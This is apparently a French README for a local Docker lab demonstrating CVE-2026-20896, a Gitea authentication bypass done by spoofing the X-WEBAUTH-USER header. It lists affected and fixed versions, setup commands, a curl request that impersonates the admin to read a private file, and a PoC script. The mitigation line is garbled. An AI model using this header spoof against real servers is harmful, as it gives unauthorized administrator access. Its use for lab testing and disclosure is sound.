
Lab de preuve de concept et scripts Python/cURL démontrant CVE-2026-20896, un contournement d'authentification dans les images Docker officielles de Gitea via l'en-tête X-WEBAUTH-USER.
[!WARNING] N'utilisez ce PoC que dans un laboratoire local ou contre un système que vous êtes explicitement autorisé à tester.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 est un contournement d'authentification dans les images Docker officielles Gitea affectées. Lorsque l'authentification par proxy inverse est activée, le paramètre REVERSE_PROXY_TRUSTED_PROXIES = * généré par l'image permet à un client capable d'atteindre le backend Gitea d'usurper l'identité d'un utilisateur existant via l'en-tête X-WEBAUTH-USER.
Le laboratoire crée un administrateur nommé gitea-admin avec un mot de passe aléatoire et stocke CVE-2026-20896_AUTH_BYPASS_CONFIRMED dans le dépôt privé gitea-admin/private-proof. La lecture de ce fichier sans connaître le mot de passe administrateur aléatoire démontre le contournement.
| Catégorie | Version |
|---|---|
| Vulnérable | Images Docker officielles gitea/gitea ≤ 1.26.2 |
| Première version corrigée | 1.26.3 |
| Recommandée | 1.26.4 ou ultérieure |
La configuration vulnérable nécessite que l'authentification par proxy inverse soit activée et que le backend Gitea soit directement accessible, ou qu'un proxy en amont préserve l'en-tête d'identité fourni par l'attaquant. Un conteneur de proxy inverse n'est pas nécessaire pour cette reproduction locale.
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Attendez quelques secondes que Gitea et le dépôt de preuve privé s'initialisent.
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Une exploitation réussie renvoie CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
python poc.py http://127.0.0.1:3000
Le script compare les requêtes non authentifiées, non administrateur et administrateur falsifiées et affiche VULNERABLE lorsque le contournement d'autorisation est confirmé. Il nécessite Python 3.10 ou ultérieur et n'utilise que la bibliothèque standard.
REVERSE_PROXY_TRUSTED_PROXIES aux adresses de proxy de confiance.docker stop cve-2026-20896-gitea-vuln